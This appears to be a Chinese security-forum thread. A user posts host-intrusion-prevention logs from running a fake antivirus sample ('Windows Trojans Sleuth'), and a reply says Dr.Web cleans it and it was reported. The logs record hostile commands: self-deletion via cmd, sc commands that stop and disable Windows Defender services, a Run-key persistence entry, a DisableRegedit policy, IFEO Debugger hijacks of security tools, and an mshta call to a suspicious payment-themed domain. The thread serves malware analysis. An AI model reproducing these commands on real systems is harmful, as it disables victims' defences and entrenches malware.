26

hddu

2012-03-12 11:34:46    运行应用程序      操作:允许
进程路径:F:\virus\setup.exe
文件路径:C:\Documents and Settings\Administrator\Local Settings\Temp\RarSFX0\112r4jn36h3815t.exe
命令行:-e -pkj52cjrzesdzp46
触发规则:所有程序规则->其它程序设置->*\Temp\*


2012-03-12 11:35:19    运行应用程序      操作:允许
进程路径:C:\Documents and Settings\Administrator\Local Settings\Temp\RarSFX0\112r4jn36h3815t.exe
文件路径:C:\Documents and Settings\Administrator\Local Settings\Temp\RarSFX1\filesystemscan.exe
触发规则:应用程序规则->TEMP临时目录->*\Temp\*->*\Temp\*.exe


2012-03-12 11:35:34    创建文件      操作:允许
进程路径:C:\Documents and Settings\Administrator\Local Settings\Temp\RarSFX1\filesystemscan.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Protector-ais.exe
触发规则:所有程序规则->Documents and Settings设置（二）->?:\Documents and Settings\*\Application Data\*


2012-03-12 11:35:35    运行应用程序      操作:允许
进程路径:C:\Documents and Settings\Administrator\Local Settings\Temp\RarSFX1\filesystemscan.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Protector-ais.exe
触发规则:应用程序规则->程序->?:\*


2012-03-12 11:35:44    运行应用程序      操作:允许
进程路径:C:\Documents and Settings\Administrator\Local Settings\Temp\RarSFX1\filesystemscan.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c del "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\RarSFX1\FILESY~1.EXE" >> NUL
触发规则:所有程序规则->系统程序设置->%windir%\system32\cmd.exe

hddu

运行生成物,EQ阻止日志.


2012-03-12 11:39:18    创建文件      操作:允许
进程路径:F:\virus\Protector-ais.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
触发规则:所有程序规则->Documents and Settings设置（二）->?:\Documents and Settings\*\Application Data\*


2012-03-12 11:39:19    运行应用程序      操作:允许
进程路径:F:\virus\Protector-ais.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
触发规则:应用程序规则->程序->?:\*


2012-03-12 11:39:19    创建注册表值      操作:使用任务隔离区操作
进程路径:F:\virus\Protector-ais.exe
注册表路径:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system
注册表名称:DisableRegedit
触发规则:所有程序规则->其他重要项->*\SOFTWARE\Microsoft\Windows\CurrentVersion\policies*


2012-03-12 11:39:24    运行应用程序      操作:允许
进程路径:F:\virus\Protector-ais.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c del "F:\virus\PROTEC~1.EXE" >> NUL
触发规则:所有程序规则->系统程序设置->%windir%\system32\cmd.exe


2012-03-12 11:39:28    删除文件      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:F:\virus\Protector-ais.exe
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->?:\*


2012-03-12 11:39:33    创建注册表值      操作:允许
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
注册表名称:Inspector
触发规则:所有程序规则->自动运行->*\SOFTWARE\Microsoft\Windows\CurrentVersion\Run*


2012-03-12 11:39:37    创建文件      操作:允许
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
文件路径:C:\Documents and Settings\Administrator\桌面\Windows Trojans Sleuth.lnk
触发规则:所有程序规则->Documents and Settings设置（二）->?:\Documents and Settings\*\桌面\*.lnk


2012-03-12 11:39:40    创建文件      操作:允许
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
文件路径:C:\Documents and Settings\All Users\「开始」菜单\程序\Windows Trojans Sleuth.lnk
触发规则:所有程序规则->Documents and Settings设置（二）->?:\Documents and Settings\*\*菜单\程序\*.lnk


2012-03-12 11:39:41    运行应用程序      操作:阻止
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
文件路径:C:\WINDOWS\system32\mshta.exe
命令行:"http://galaint.online-secure-pay.info/?0=102&1=0&2=1&3=18&4=i&5=2600&6=5&7=1&8=62900.2180&9=2052&10=-480&11=0000&12=pclmelfjom&14=0"
触发规则:所有程序规则->系统程序设置->*\mshta.exe


2012-03-12 11:40:02    运行应用程序      操作:阻止
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
文件路径:C:\WINDOWS\system32\sc.exe
命令行:stop WinDefend
触发规则:所有程序规则->系统程序设置->%windir%\system32\sc.exe


2012-03-12 11:40:02    运行应用程序      操作:允许
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
文件路径:C:\WINDOWS\system32\sc.exe
命令行:config WinDefend start= disabled
触发规则:应用程序规则->程序->?:\*


2012-03-12 11:40:03    运行应用程序      操作:阻止
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
文件路径:C:\WINDOWS\system32\sc.exe
命令行:stop msmpsvc
触发规则:所有程序规则->系统程序设置->%windir%\system32\sc.exe


2012-03-12 11:40:03    运行应用程序      操作:允许
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
文件路径:C:\WINDOWS\system32\sc.exe
命令行:config msmpsvc start= disabled
触发规则:应用程序规则->程序->?:\*


2012-03-12 11:40:03    创建注册表值      操作:允许
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\luau.exe
注册表名称:[Key]
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:03    创建注册表值      操作:阻止
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\luau.exe
注册表名称:Debugger
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:04    创建注册表值      操作:允许
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lucomserver.exe
注册表名称:[Key]
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:04    创建注册表值      操作:阻止
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lucomserver.exe
注册表名称:Debugger
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:04    创建注册表值      操作:允许
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\luinit.exe
注册表名称:[Key]
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:04    创建注册表值      操作:阻止
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\luinit.exe
注册表名称:Debugger
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:04    创建注册表值      操作:允许
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\luspt.exe
注册表名称:[Key]
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:04    创建注册表值      操作:阻止
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\luspt.exe
注册表名称:Debugger
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:04    创建注册表值      操作:允许
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MalwareRemoval.exe
注册表名称:[Key]
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:04    创建注册表值      操作:阻止
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MalwareRemoval.exe
注册表名称:Debugger
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:04    创建注册表值      操作:允许
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mapisvc32.exe
注册表名称:[Key]
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:04    创建注册表值      操作:阻止
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mapisvc32.exe
注册表名称:Debugger
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:04    创建注册表值      操作:允许
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcagent.exe
注册表名称:[Key]
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:04    创建注册表值      操作:阻止
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcagent.exe
注册表名称:Debugger
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:04    创建注册表值      操作:允许
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcmnhdlr.exe
注册表名称:[Key]
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:04    创建注册表值      操作:阻止
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcmnhdlr.exe
注册表名称:Debugger
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:04    创建注册表值      操作:允许
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcmscsvc.exe
注册表名称:[Key]
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:04    创建注册表值      操作:阻止
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcmscsvc.exe
注册表名称:Debugger
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:04    创建注册表值      操作:允许
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcnasvc.exe
注册表名称:[Key]
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:04    创建注册表值      操作:阻止
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcnasvc.exe
注册表名称:Debugger
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:04    创建注册表值      操作:允许
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcproxy.exe
注册表名称:[Key]
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:04    创建注册表值      操作:阻止
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcproxy.exe
注册表名称:Debugger
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:05    创建注册表值      操作:允许
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\McSACore.exe
注册表名称:[Key]
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:05    创建注册表值      操作:阻止
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\McSACore.exe
注册表名称:Debugger
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:05    创建注册表值      操作:允许
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcshell.exe
注册表名称:[Key]
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:05    创建注册表值      操作:阻止
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcshell.exe
注册表名称:Debugger
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:05    创建注册表值      操作:允许
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcshield.exe
注册表名称:[Key]
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:05    创建注册表值      操作:阻止
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcshield.exe
注册表名称:Debugger
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:05    创建注册表值      操作:允许
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcsysmon.exe
注册表名称:[Key]
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:05    创建注册表值      操作:阻止
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcsysmon.exe
注册表名称:Debugger
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:05    创建注册表值      操作:允许
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mctool.exe
注册表名称:[Key]
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:05    创建注册表值      操作:阻止
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mctool.exe
注册表名称:Debugger
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:05    创建注册表值      操作:允许
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a.exe
注册表名称:[Key]
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:05    创建注册表值      操作:阻止
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a.exe
注册表名称:Debugger
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:05    创建注册表值      操作:允许
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\aAvgApi.exe
注册表名称:[Key]
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:05    创建注册表值      操作:阻止
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\aAvgApi.exe
注册表名称:Debugger
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:05    创建注册表值      操作:允许
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AAWTray.exe
注册表名称:[Key]
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:06    创建注册表值      操作:阻止
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AAWTray.exe
注册表名称:Debugger
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:06    创建注册表值      操作:允许
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\About.exe
注册表名称:[Key]
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:06    创建注册表值      操作:阻止
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\About.exe
注册表名称:Debugger
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:06    创建注册表值      操作:允许
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ackwin32.exe
注册表名称:[Key]
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:06    创建注册表值      操作:阻止
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ackwin32.exe
注册表名称:Debugger
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:06    创建注册表值      操作:允许
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Ad-Aware.exe
注册表名称:[Key]
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*


2012-03-12 11:40:06    创建注册表值      操作:阻止
进程路径:C:\Documents and Settings\Administrator\Application Data\Protector-oes.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Ad-Aware.exe
注册表名称:Debugger
触发规则:应用程序规则->受保护的注册表->?:\*->*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options*

留侯

大蜘蛛Clean，已上报！